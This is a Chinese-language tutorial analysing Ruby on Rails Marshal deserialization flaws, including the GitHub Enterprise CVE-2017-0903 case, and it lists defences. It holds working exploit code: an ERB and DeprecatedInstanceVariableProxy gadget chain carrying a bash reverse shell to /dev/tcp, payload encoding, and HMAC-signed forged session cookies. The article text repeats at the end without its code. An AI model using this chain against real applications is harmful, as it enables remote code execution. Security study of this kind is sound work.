探索Ruby项目中的反序列化问题
字数 1069 2025-08-26 22:11:15

Ruby反序列化漏洞分析与利用

1. Ruby on Rails会话机制概述

Ruby on Rails使用cookie来识别应用程序会话,cookie由两部分组成:

  • cookie-value:实际存储的会话数据
  • signature:用于验证cookie完整性的签名

验证流程如下:

  1. 服务器获取cookie
  2. 验证发送的cookie值的哈希/签名是否与发送的签名匹配
  3. 如果验证通过,则处理cookie内容

2. 不安全的反序列化流程

典型的Ruby on Rails会话反序列化过程包含三个步骤:

url_decoded_cookie = CGI::unescape(cookie_value)
b64_decoded_session = Base64.decode64(url_decoded_cookie)
session = Marshal.load(b64_decoded_session)

这种反序列化机制的不安全使用可能导致远程代码执行(RCE)。

3. 漏洞利用原理

3.1 利用ERB模板解析器

ERB或Erubis模板解析器可以执行Ruby代码,关键点在于:

  1. 创建ERB对象并设置@src实例变量为恶意代码
  2. 通过某种方式触发result方法执行
erb = ERB.allocate
erb.instance_variable_set(:@src, "%x(bash -i >& /dev/tcp/127.0.0.1/1337 0>&1);")

3.2 利用ActiveSupport::Deprecation机制

ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy类可以在访问时自动调用指定方法:

class ActiveSupport
  class Deprecation
    def initialize()
      @silenced = true
    end
    
    class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
        @method = method
        @deprecator = ActiveSupport::Deprecation.new
      end
    end
  end
end

3.3 构造恶意对象

将ERB对象与DeprecatedInstanceVariableProxy结合:

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set(:@instance, erb)
depr.instance_variable_set(:@method, :result)
depr.instance_variable_set(:@var, "@result")
depr.instance_variable_set(:@deprecator, ActiveSupport::Deprecation.new)

4. 生成有效负载

序列化并编码恶意对象:

payload = Base64.encode64(Marshal.dump(depr)).gsub("\n", "")
puts payload

5. 实际案例分析

5.1 GitHub Enterprise漏洞(CVE-2017-0903)

漏洞存在于GitHub Enterprise 2.8.0-2.8.6版本中:

  1. 会话cookie使用静态密钥签名
  2. cookie内容是Marshal序列化对象
  3. 构造恶意会话对象:
session = {"session_id" => "", "exploit" => proxy}
  1. 序列化、编码和签名:
dump = [Marshal.dump(session)].pack("m")
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
  1. 发送恶意cookie:
rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"

5.2 Orange Tsai发现的四链漏洞

  1. 远程SSRF到内部Graphite服务
  2. 通过Python httplib.HTTPConnection模块的CR-LF注入
  3. 从Memcache数据库获取Ruby对象
  4. 不安全的反序列化导致代码执行

6. 防御措施

  1. 避免使用Marshal反序列化不可信数据
  2. 使用JSON等安全序列化格式替代Marshal
  3. 确保会话密钥足够强大且不硬编码
  4. 及时更新Ruby on Rails和相关gem

7. 参考资源

  1. OWASP AppSecCali 2015关于序列化的演讲
  2. Rails 5.1.4 YAML不安全反序列化RCE有效负载
  3. GitHub Enterprise 2.8.0-2.8.6 RCE报告
  4. Orange Tsai的四链漏洞分析
Ruby反序列化漏洞分析与利用 1. Ruby on Rails会话机制概述 Ruby on Rails使用cookie来识别应用程序会话,cookie由两部分组成: cookie-value:实际存储的会话数据 signature:用于验证cookie完整性的签名 验证流程如下: 服务器获取cookie 验证发送的cookie值的哈希/签名是否与发送的签名匹配 如果验证通过,则处理cookie内容 2. 不安全的反序列化流程 典型的Ruby on Rails会话反序列化过程包含三个步骤: 这种反序列化机制的不安全使用可能导致远程代码执行(RCE)。 3. 漏洞利用原理 3.1 利用ERB模板解析器 ERB或Erubis模板解析器可以执行Ruby代码,关键点在于: 创建ERB对象并设置 @src 实例变量为恶意代码 通过某种方式触发 result 方法执行 3.2 利用ActiveSupport::Deprecation机制 ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy 类可以在访问时自动调用指定方法: 3.3 构造恶意对象 将ERB对象与DeprecatedInstanceVariableProxy结合: 4. 生成有效负载 序列化并编码恶意对象: 5. 实际案例分析 5.1 GitHub Enterprise漏洞(CVE-2017-0903) 漏洞存在于GitHub Enterprise 2.8.0-2.8.6版本中: 会话cookie使用静态密钥签名 cookie内容是Marshal序列化对象 构造恶意会话对象: 序列化、编码和签名: 发送恶意cookie: 5.2 Orange Tsai发现的四链漏洞 远程SSRF到内部Graphite服务 通过Python httplib.HTTPConnection模块的CR-LF注入 从Memcache数据库获取Ruby对象 不安全的反序列化导致代码执行 6. 防御措施 避免使用Marshal反序列化不可信数据 使用JSON等安全序列化格式替代Marshal 确保会话密钥足够强大且不硬编码 及时更新Ruby on Rails和相关gem 7. 参考资源 OWASP AppSecCali 2015关于序列化的演讲 Rails 5.1.4 YAML不安全反序列化RCE有效负载 GitHub Enterprise 2.8.0-2.8.6 RCE报告 Orange Tsai的四链漏洞分析